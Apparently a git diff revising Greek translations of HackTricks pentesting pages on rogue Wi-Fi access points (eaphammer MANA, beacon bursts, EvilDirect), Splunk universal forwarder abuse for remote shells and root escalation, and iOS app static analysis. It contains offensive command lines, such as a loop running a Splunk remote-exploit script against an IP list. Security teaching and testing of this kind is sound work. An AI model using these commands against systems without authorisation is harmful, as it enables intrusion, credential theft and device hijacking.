Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα φορτώνονται (μπορείτε επίσης να το συνδυάσετε με `--loud` για να δημιουργήσετε μια Loud MANA + Known beacons attack):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Γνωστή επίθεση Beacon Burst**
|
||||
|
||||
Η **Γνωστή επίθεση Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν με το κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
|
||||
Η **Γνωστή επίθεση Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν στο κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -657,7 +657,7 @@ name3
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ο ιδιοκτήτης της ομάδας, για να διαχειρίζεται τη σύνδεση.
|
||||
**Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ιδιοκτήτης ομάδας, για να διαχειρίζεται τη σύνδεση.
|
||||
|
||||
Η ασφάλεια για τις συνδέσεις Wi-Fi Direct καθορίζεται μέσω του **Wi-Fi Protected Setup (WPS)**, το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλή ζευγοποίηση, συμπεριλαμβανομένων:
|
||||
|
||||
@ -669,7 +669,7 @@ name3
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** είναι μια επίθεση που είναι συγκεκριμένη για το Wi-Fi Direct. Αντιγράφει την έννοια μιας επίθεσης Evil Twin αλλά στοχεύει σε συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος προσποιείται έναν νόμιμο ιδιοκτήτη ομάδας με σκοπό να παραπλανήσει τις συσκευές ώστε να συνδεθούν σε μια κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το `airbase-ng` καθορίζοντας το κανάλι, το ESSID και τη διεύθυνση MAC της προσποιούμενης συσκευής:
|
||||
**EvilDirect Hijacking** είναι μια επίθεση που είναι συγκεκριμένη για το Wi-Fi Direct. Αντιγράφει την έννοια μιας επίθεσης Evil Twin αλλά στοχεύει σε συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος προσποιείται έναν νόμιμο ιδιοκτήτη ομάδας με σκοπό να παραπλανήσει τις συσκευές να συνδεθούν σε μια κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το `airbase-ng` καθορίζοντας το κανάλι, το ESSID και τη διεύθυνση MAC της προσποιούμενης συσκευής:
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αν **καταμετράτε** μια μηχανή **εσωτερικά** ή **εξωτερικά** και βρείτε **το Splunk να τρέχει** (θύρα 8090), αν έχετε την τύχη να γνωρίζετε οποιαδήποτε **έγκυρα διαπιστευτήρια** μπορείτε να **καταχραστείτε την υπηρεσία Splunk** για να **εκτελέσετε ένα shell** ως ο χρήστης που τρέχει το Splunk. Αν το τρέχει ο root, μπορείτε να αναβαθμίσετε τα δικαιώματα σε root.
|
||||
Εάν **καταμετράτε** μια μηχανή **εσωτερικά** ή **εξωτερικά** και βρείτε **το Splunk να τρέχει** (θύρα 8090), αν τυχαίνει να γνωρίζετε οποιαδήποτε **έγκυρα διαπιστευτήρια** μπορείτε να **καταχραστείτε την υπηρεσία Splunk** για να **εκτελέσετε ένα shell** ως ο χρήστης που τρέχει το Splunk. Εάν το τρέχει ο root, μπορείτε να αναβαθμίσετε τα δικαιώματα σε root.
|
||||
|
||||
Επίσης, αν είστε **ήδη root και η υπηρεσία Splunk δεν ακούει μόνο σε localhost**, μπορείτε να **κλέψετε** το **αρχείο** κωδικών **από** την υπηρεσία Splunk και να **σπάσετε** τους κωδικούς, ή να **προσθέσετε νέα** διαπιστευτήρια σε αυτό. Και να διατηρήσετε επιμονή στον host.
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
**Εκτέλεση Εκμετάλλευσης:**
|
||||
|
||||
1. Ο επιτιθέμενος αποκτά τον κωδικό του agent UF.
|
||||
2. Χρησιμοποιεί το API του Splunk για να στείλει εντολές ή scripts στους agents.
|
||||
2. Χρησιμοποιεί το API του Splunk για να στείλει εντολές ή σενάρια στους agents.
|
||||
3. Πιθανές ενέργειες περιλαμβάνουν εξαγωγή αρχείων, χειρισμό λογαριασμών χρηστών και διακυβέρνηση συστήματος.
|
||||
|
||||
**Επίπτωση:**
|
||||
@ -39,12 +39,12 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**Χρήσιμα δημόσια exploits:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Κατάχρηση Ερωτημάτων Splunk
|
||||
|
||||
**Για περισσότερες λεπτομέρειες ελέγξτε την ανάρτηση [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
**Για περισσότερες λεπτομέρειες, ελέγξτε την ανάρτηση [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -26,7 +26,7 @@ ios-testing-environment.md
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Για τα επόμενα βήματα **η εφαρμογή θα πρέπει να είναι εγκατεστημένη** στη συσκευή και θα πρέπει να έχει ήδη αποκτήσει το **IPA file** της εφαρμογής.\
|
||||
> Διαβάστε τη σελίδα [Basic iOS Testing Operations](basic-ios-testing-operations.md) για να μάθετε πώς να το κάνετε αυτό.
|
||||
|
||||
@ -34,12 +34,12 @@ basic-ios-testing-operations.md
|
||||
|
||||
Ορισμένοι ενδιαφέροντες αποσυμπιεστές αρχείων iOS - IPA:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο αρχείο IPA.
|
||||
|
||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό**:
|
||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό αρχείο**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε μια τυχαία διεύθυνση μνήμης κάθε φορά που εκκινείται, καθιστώντας πιο δύσκολη την πρόβλεψη της αρχικής διεύθυνσης μνήμης.
|
||||
|
||||
@ -47,7 +47,7 @@ basic-ios-testing-operations.md
|
||||
otool -hv <app-binary> | grep PIE # Θα πρέπει να περιλαμβάνει τη σημαία PIE
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Για να επικυρωθεί η ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις η συνάρτηση ολοκληρωθεί.
|
||||
- **Stack Canaries**: Για να επικυρωθεί η ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις η συνάρτηση τελειώσει.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλαμβάνει τα σύμβολα: stack_chk_guard και stack_chk_fail
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλ
|
||||
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
|
||||
```
|
||||
|
||||
- **Encrypted Binary**: Το δυαδικό θα πρέπει να είναι κρυπτογραφημένο
|
||||
- **Encrypted Binary**: Το δυαδικό αρχείο θα πρέπει να είναι κρυπτογραφημένο
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid θα πρέπει να είναι 1
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει αρκετές κλάσεις κατά την εκτέλεση άλλων ενεργειών και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει πολλές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -165,10 +165,10 @@ ios-hooking-with-objection.md
|
||||
Η δομή ενός **IPA αρχείου** είναι ουσιαστικά αυτή ενός **συμπιεσμένου πακέτου**. Με την αλλαγή της επέκτασής του σε `.zip`, μπορεί να **αποσυμπιεστεί** για να αποκαλύψει το περιεχόμενό του. Μέσα σε αυτή τη δομή, ένα **Bundle** αντιπροσωπεύει μια πλήρως συσκευασμένη εφαρμογή έτοιμη για εγκατάσταση. Μέσα, θα βρείτε έναν φάκελο με όνομα `<NAME>.app`, ο οποίος περιέχει τους πόρους της εφαρμογής.
|
||||
|
||||
- **`Info.plist`**: Αυτό το αρχείο περιέχει συγκεκριμένες λεπτομέρειες ρύθμισης της εφαρμογής.
|
||||
- **`_CodeSignature/`**: Αυτός ο φάκελος περιλαμβάνει ένα plist αρχείο που περιέχει μια υπογραφή, διασφαλίζοντας την ακεραιότητα όλων των αρχείων στο bundle.
|
||||
- **`_CodeSignature/`**: Αυτός ο φάκελος περιλαμβάνει ένα αρχείο plist που περιέχει μια υπογραφή, διασφαλίζοντας την ακεραιότητα όλων των αρχείων στο bundle.
|
||||
- **`Assets.car`**: Ένα συμπιεσμένο αρχείο που αποθηκεύει αρχεία πόρων όπως εικονίδια.
|
||||
- **`Frameworks/`**: Αυτός ο φάκελος φιλοξενεί τις εγγενείς βιβλιοθήκες της εφαρμογής, οι οποίες μπορεί να είναι σε μορφή `.dylib` ή `.framework` αρχείων.
|
||||
- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως `.appex` αρχεία, αν και δεν είναι πάντα παρούσες. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μία μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container.
|
||||
- **`Frameworks/`**: Αυτός ο φάκελος φιλοξενεί τις εγγενείς βιβλιοθήκες της εφαρμογής, οι οποίες μπορεί να είναι σε μορφή αρχείων `.dylib` ή `.framework`.
|
||||
- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως αρχεία `.appex`, αν και δεν είναι πάντα παρόντα. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μία μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Το αρχείο `PkgInfo` είναι ένας εναλλακτικός τρόπος για να καθορίσετε τους τύπους και τους κωδικούς δημιουργού της εφαρμογής ή του bundle σας.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Είναι τα πακέτα γλώσσας που περιέχουν πόρους για αυτές τις συγκεκριμένες γλώσσες, και έναν προεπιλεγμένο πόρο σε περίπτωση που μια γλώσσα δεν υποστηρίζεται.
|
||||
- **Ασφάλεια**: Ο φάκελος `_CodeSignature/` παίζει κρίσιμο ρόλο στην ασφάλεια της εφαρμογής επαληθεύοντας την ακεραιότητα όλων των συσκευασμένων αρχείων μέσω ψηφιακών υπογραφών.
|
||||
@ -180,7 +180,7 @@ ios-hooking-with-objection.md
|
||||
|
||||
Το **Info.plist** χρησιμεύει ως θεμέλιο για τις εφαρμογές iOS, περιλαμβάνοντας βασικά δεδομένα ρύθμισης με τη μορφή **ζευγών κλειδιού-τιμής**. Αυτό το αρχείο είναι απαραίτητο όχι μόνο για τις εφαρμογές αλλά και για τις επεκτάσεις εφαρμογών και τα frameworks που περιλαμβάνονται. Είναι δομημένο είτε σε XML είτε σε δυαδική μορφή και περιέχει κρίσιμες πληροφορίες που κυμαίνονται από άδειες εφαρμογής έως ρυθμίσεις ασφαλείας. Για μια λεπτομερή εξερεύνηση των διαθέσιμων κλειδιών, μπορείτε να ανατρέξετε στην [**Τεκμηρίωση Προγραμματιστών της Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` σε macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και μεταγενέστερες) ή του `plistutil` σε Linux. Οι εντολές για τη μετατροπή είναι οι εξής:
|
||||
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` σε macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και μεταγενέστερες) ή `plistutil` σε Linux. Οι εντολές για τη μετατροπή είναι οι εξής:
|
||||
|
||||
- **Για macOS**:
|
||||
```bash
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Μεταξύ της πληθώρας πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
Ανάμεσα στην πληθώρα πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι προσαρμοσμένοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -200,11 +200,11 @@ $ grep -i <keyword> Info.plist
|
||||
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **εφαρμογές συστήματος** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
||||
|
||||
> [!WARNING]
|
||||
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως το όνομα του φακέλου.
|
||||
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως όνομα φακέλου.
|
||||
>
|
||||
> Ωστόσο, και οι δύο φάκελοι (φάκελοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία στην κλειδί `MCMetadataIdentifier`).
|
||||
> Ωστόσο, και οι δύο φάκελοι (φάκελοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία με το κλειδί `MCMetadataIdentifier`).
|
||||
|
||||
Για να διευκολυνθεί η ανακάλυψη του καταλόγου εγκατάστασης μιας εφαρμογής που έχει εγκατασταθεί από τον χρήστη, το **objection tool** παρέχει μια χρήσιμη εντολή, `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για την εφαρμογή σε ερώτηση. Παρακάτω είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε αυτήν την εντολή:
|
||||
Για να διευκολυνθεί η ανακάλυψη του καταλόγου εγκατάστασης μιας εφαρμογής που έχει εγκατασταθεί από τον χρήστη, το εργαλείο **objection** παρέχει μια χρήσιμη εντολή, `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για την εφαρμογή σε ερώτηση. Παρακάτω είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε αυτήν την εντολή:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
Οι εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να εντοπίσουν τη διαδικασία της εφαρμογής και να καταγράψουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας πληροφορίες σχετικά με τις ενεργές διαδρομές καταλόγου της εφαρμογής:
|
||||
Εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να εντοπίσουν τη διαδικασία της εφαρμογής και να καταγράψουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας πληροφορίες σχετικά με τις ενεργές διαδρομές καταλόγων της εφαρμογής:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
@ -246,7 +246,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Περιέχει **ημι-μόνιμα αρχεία cache.**
|
||||
- Αόρατη στους χρήστες και **οι χρήστες δεν μπορούν να γράψουν σε αυτήν**.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- **Library/Application Support/**
|
||||
- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για τη λειτουργία της εφαρμογής.
|
||||
- **Αόρατη** **στους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν.
|
||||
@ -261,9 +261,9 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Περιέχει μη μόνιμα αρχεία cache.
|
||||
- **Αόρατη** στους χρήστες.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση δεν είναι αντίγραφο ασφαλείας.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
|
||||
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) του iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) της iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -371,11 +371,11 @@ ios-basics.md
|
||||
|
||||
### Plist
|
||||
|
||||
Τα αρχεία **plist** είναι δομημένα αρχεία XML που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγχετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
Τα αρχεία **plist** είναι δομημένα αρχεία XML που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
|
||||
Ο πιο κοινός τρόπος για να διατηρήσετε δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/<appBundleID>.plist`**
|
||||
Ο πιο κοινός τρόπος για να διατηρηθούν τα δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **αρχείο plist**, αλλά προορίζεται για χρήση με μικρές ποσότητες δεδομένων.
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **αρχείο plist**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
|
||||
|
||||
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
|
||||
|
||||
@ -396,18 +396,18 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Μέσα σε μια συνεδρία Objection:** Για την ανάλυση κινητών εφαρμογών, μια συγκεκριμένη εντολή σας επιτρέπει να μετατρέψετε τα αρχεία plist απευθείας:
|
||||
**Μέσα σε μια συνεδρία Objection:** Για την ανάλυση κινητών εφαρμογών, μια συγκεκριμένη εντολή σας επιτρέπει να μετατρέψετε αρχεία plist απευθείας:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιεί το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι βάση δεδομένων.\
|
||||
